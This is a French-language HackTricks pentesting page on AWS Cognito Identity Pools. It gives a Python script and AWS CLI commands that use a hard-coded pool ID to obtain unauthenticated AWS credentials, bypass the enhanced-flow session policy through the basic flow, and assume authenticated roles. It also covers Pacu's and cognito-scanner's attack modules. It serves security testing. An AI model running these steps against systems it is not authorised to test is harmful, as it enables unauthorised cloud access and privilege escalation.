Cognito Identity Pools

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Les pools d’identitĂ© jouent un rĂŽle crucial en permettant Ă  vos utilisateurs d’acquĂ©rir des identifiants temporaires. Ces identifiants sont essentiels pour accĂ©der Ă  divers services AWS, y compris, mais sans s’y limiter, Amazon S3 et DynamoDB. Une caractĂ©ristique notable des pools d’identitĂ© est leur support Ă  la fois pour les utilisateurs invitĂ©s anonymes et une gamme de fournisseurs d’identitĂ© pour l’authentification des utilisateurs. Les fournisseurs d’identitĂ© pris en charge incluent :

  • Amazon Cognito user pools
  • Options de connexion sociale telles que Facebook, Google, Login with Amazon et Sign in with Apple
  • Fournisseurs conformes Ă  OpenID Connect (OIDC)
  • Fournisseurs d’identitĂ© SAML (Security Assertion Markup Language)
  • IdentitĂ©s authentifiĂ©es par le dĂ©veloppeur
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Pour gĂ©nĂ©rer des sessions de Identity Pool, vous devez d’abord gĂ©nĂ©rer un Identity ID. Cet Identity ID est l’identification de la session de cet utilisateur. Ces identifications peuvent avoir jusqu’à 20 ensembles de donnĂ©es pouvant stocker jusqu’à 1 Mo de paires clĂ©-valeur.

Ceci est utile pour garder des informations sur un utilisateur (qui utilisera toujours le mĂȘme Identity ID).

De plus, le service cognito-sync est le service qui permet de gérer et synchroniser ces informations (dans les ensembles de données, en envoyant des infos dans des flux et des messages SNS
).

Tools for pentesting

  • Pacu, le framework d’exploitation AWS, inclut maintenant les modules “cognito__enum” et “cognito__attack” qui automatisent l’énumĂ©ration de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisĂ©s pour le contrĂŽle d’accĂšs, etc., et automatisent Ă©galement la crĂ©ation d’utilisateurs (y compris le support MFA) et l’escalade de privilĂšges basĂ©e sur des attributs personnalisables modifiables, des identifiants de pool d’identitĂ© utilisables, des rĂŽles assumables dans les jetons d’identitĂ©, etc.

Pour une description des fonctions des modules, voir la partie 2 du blog post. Pour des instructions d’installation, voir la page principale de Pacu.

Usage

Exemple d’utilisation de cognito__attack pour tenter la crĂ©ation d’utilisateur et tous les vecteurs d’escalade de privilĂšges contre un pool d’identitĂ© et un client de pool d’utilisateurs donnĂ©s :

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemple d’utilisation de cognito__enum pour rassembler tous les groupes d’utilisateurs, les clients de groupes d’utilisateurs, les pools d’identitĂ©, les utilisateurs, etc. visibles dans le compte AWS actuel :

Pacu (new:test) > run cognito__enum
  • Cognito Scanner est un outil CLI en python qui implĂ©mente diffĂ©rentes attaques sur Cognito, y compris la crĂ©ation de comptes non dĂ©sirĂ©s et l’escalade de pools d’identitĂ©.

Installation

$ pip install cognito-scanner

Utilisation

$ cognito-scanner --help

Pour plus d’informations, consultez https://github.com/padok-team/cognito-scanner

Accéder aux rÎles IAM

Non authentifié

La seule chose qu’un attaquant doit savoir pour obtenir des identifiants AWS dans une application Cognito en tant qu’utilisateur non authentifiĂ© est le ID de la piscine d’identitĂ©, et cet ID doit ĂȘtre codĂ© en dur dans l’application web/mobile pour qu’elle puisse l’utiliser. Un ID ressemble Ă  ceci : eu-west-1:098e5341-8364-038d-16de-1865e435da3b (il n’est pas bruteforcable).

Tip

Le rÎle IAM Cognito non authentifié créé via est appelé par défaut Cognito_<Nom de la piscine d'identité>Unauth_Role

Si vous trouvez un ID de piscine d’identitĂ© codĂ© en dur et qu’il permet aux utilisateurs non authentifiĂ©s, vous pouvez obtenir des identifiants AWS avec :

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ou vous pourriez utiliser les commandes aws cli suivantes :

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Warning

Notez qu’en dĂ©faut, un utilisateur cognito non authentifiĂ© NE PEUT avoir aucune permission, mĂȘme si elle a Ă©tĂ© assignĂ©e via une politique. VĂ©rifiez la section suivante.

Flux d’authentification amĂ©liorĂ© vs basique

La section prĂ©cĂ©dente a suivi le flux d’authentification amĂ©liorĂ© par dĂ©faut. Ce flux dĂ©finit une politique de session restrictive pour la session de rĂŽle IAM gĂ©nĂ©rĂ©e. Cette politique ne permettra Ă  la session que d’utiliser les services de cette liste (mĂȘme si le rĂŽle avait accĂšs Ă  d’autres services).

Cependant, il existe un moyen de contourner cela, si le pool d’identitĂ© a “Flux basique (classique)” activĂ©, l’utilisateur pourra obtenir une session en utilisant ce flux qui n’aura pas cette politique de session restrictive.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Warning

Si vous recevez cette erreur, c’est parce que le flux de base n’est pas activĂ© (par dĂ©faut)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Ayant un ensemble de credentials IAM, vous devriez vĂ©rifier quels accĂšs vous avez et essayer d’escalader les privilĂšges.

Authentifié

Note

N’oubliez pas que les utilisateurs authentifiĂ©s se verront probablement accorder des permissions diffĂ©rentes, donc si vous pouvez vous inscrire dans l’application, essayez de le faire et obtenez les nouveaux credentials.

Il pourrait également y avoir des rÎles disponibles pour les utilisateurs authentifiés accédant au Identity Pool.

Pour cela, vous pourriez avoir besoin d’accĂ©der au fournisseur d’identitĂ©. Si c’est un Cognito User Pool, peut-ĂȘtre pouvez-vous abuser du comportement par dĂ©faut et crĂ©er un nouvel utilisateur vous-mĂȘme.

Tip

Le rÎle IAM Cognito authentifié créé via est appelé par défaut Cognito_<Nom du Identity Pool>Auth_Role

Quoi qu’il en soit, le suivant exemple suppose que vous ĂȘtes dĂ©jĂ  connectĂ© Ă  un Cognito User Pool utilisĂ© pour accĂ©der au Identity Pool (n’oubliez pas que d’autres types de fournisseurs d’identitĂ© pourraient Ă©galement ĂȘtre configurĂ©s).


# Format mis Ă  jour
aws cognito-identity get-id \
--identity-pool-id  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--custom-role-arn  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

Format obsolùte — ceux-ci peuvent ne plus fonctionner avec l’AWS CLI actuel :


aws cognito-identity get-id \
--identity-pool-id  \
--logins cognito-idp..amazonaws.com/=

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins cognito-idp..amazonaws.com/=

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--custom-role-arn  \
--logins cognito-idp..amazonaws.com/=

Warning

Il est possible de configurer diffĂ©rents rĂŽles IAM en fonction du fournisseur d’identitĂ© par lequel l’utilisateur est connectĂ© ou mĂȘme simplement en fonction de l’utilisateur (en utilisant des claims). Par consĂ©quent, si vous avez accĂšs Ă  diffĂ©rents utilisateurs via le mĂȘme ou diffĂ©rents fournisseurs, cela pourrait valoir le coup de se connecter et d’accĂ©der aux rĂŽles IAM de tous.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks